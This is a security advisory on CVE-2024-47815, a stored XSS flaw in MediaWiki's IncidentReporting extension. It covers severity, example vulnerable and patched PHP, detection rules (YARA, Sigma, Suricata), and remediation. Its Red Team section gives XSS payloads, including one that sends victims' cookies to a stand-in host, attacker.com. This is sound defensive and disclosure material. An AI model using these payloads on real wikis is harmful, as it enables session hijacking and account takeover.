CVE-2024-47815

Executive Summary

CVE-2024-47815 is a Cross-site Scripting (XSS) vulnerability found in the IncidentReporting extension for MediaWiki. This extension is designed to move incident reports from wikitext to database tables. The vulnerability manifests in multiple forms, all requiring elevated privileges to exploit. Attackers with the editincidents right, interface editing permissions (typically administrators and interface admins), or the ability to edit LocalSettings.php can inject malicious scripts. Successful exploitation could lead to session hijacking, defacement, or redirection of users viewing the affected pages. The CVSS score is 6.0 (Medium), and while the EPSS score is currently 0.0%, the presence of a patch in commit 43896a4 makes upgrading the primary mitigation.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a MediaWiki extension, typically installed manually or via Composer. The supply chain risk is limited to the extension's repository and its dependencies. Users should verify the integrity of the extension source code and ensure they are using the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker needs elevated permissions (e.g., editincidents, interface admin, or ability to edit LocalSettings.php).
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., click a link or view a page).
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The requirement for elevated privileges reduces the attack surface, but the potential for XSS in a wiki environment can lead to account takeover or data manipulation.

Deep Dive & Mechanics

The IncidentReporting extension processes user-supplied input (e.g., incident report titles, descriptions, or parameters) and outputs it in HTML without proper sanitization or encoding. The XSS issues are categorized by the required privilege level:

1. editincidents right: Users with this right can inject scripts into incident report fields that are later displayed to other users.
2. Interface editing permissions: Administrators and interface admins can modify interface messages (e.g., system messages) that are rendered without escaping, leading to XSS.
3. LocalSettings.php editing: Users who can modify LocalSettings.php can inject malicious code that gets executed when the extension loads.

The root cause is insufficient output encoding in the extension's PHP code. When data is retrieved from the database or user input and echoed into HTML, it is not properly escaped for the context (e.g., HTML attribute, JavaScript, or URL).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a function that displays incident report title
function showIncidentTitle($title) {
    echo "<h2>" . $title . "</h2>";
}

This directly echoes user input without escaping.

Patched Code (from commit 43896a4):

function showIncidentTitle($title) {
    echo "<h2>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</h2>";
}

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a MediaWiki instance with the IncidentReporting extension installed.
• An account with editincidents rights or higher.

Exploitation Steps:

1. Navigate to Special:IncidentReports and create a new incident report.
2. In the title or description field, inject a payload such as:

   <script>alert('XSS')</script>
   

   or a more sophisticated payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Save the incident report.
4. When another user (with appropriate permissions) views the incident report, the script executes in their browser.

Note: No public exploit code is available at this time.

Blue Team

Detection:

• Monitor access logs for Special:IncidentReports and look for unusual parameters or payloads.
• Use WAF rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database tables for stored XSS payloads in incident report fields.
• Review interface messages for unauthorized modifications.

Indicators of Compromise (IOCs)

• Network: HTTP requests to Special:IncidentReports containing <script> tags or JavaScript event handlers.
• Host: Modified interface messages in the MediaWiki database (e.g., page table with page_namespace = 8 for MediaWiki messages).
• Log: Audit logs showing creation or editing of incident reports by users with editincidents rights.
• File: Unauthorized changes to LocalSettings.php containing JavaScript or HTML.

Detection Engineering

YARA Rule

rule CVE_2024_47815_XSS_IncidentReporting {
    meta:
        description = "Detects XSS payloads in IncidentReporting extension"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47815"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47815 XSS in IncidentReporting Extension
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the IncidentReporting extension
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|contains: 'Special:IncidentReports'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wiki content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47815 XSS in IncidentReporting"; flow:to_server,established; content:"Special:IncidentReports"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the IncidentReporting extension to the latest version that includes commit 43896a4.
2. Workaround: If upgrading is not possible, restrict access to Special:IncidentReports by modifying the web server configuration or using MediaWiki's $wgGroupPermissions to remove the editincidents right from all users.
3. Long-term: Implement a Content Security Policy (CSP) to mitigate XSS impact. Regularly audit user permissions and review code for proper output encoding.

Valters IT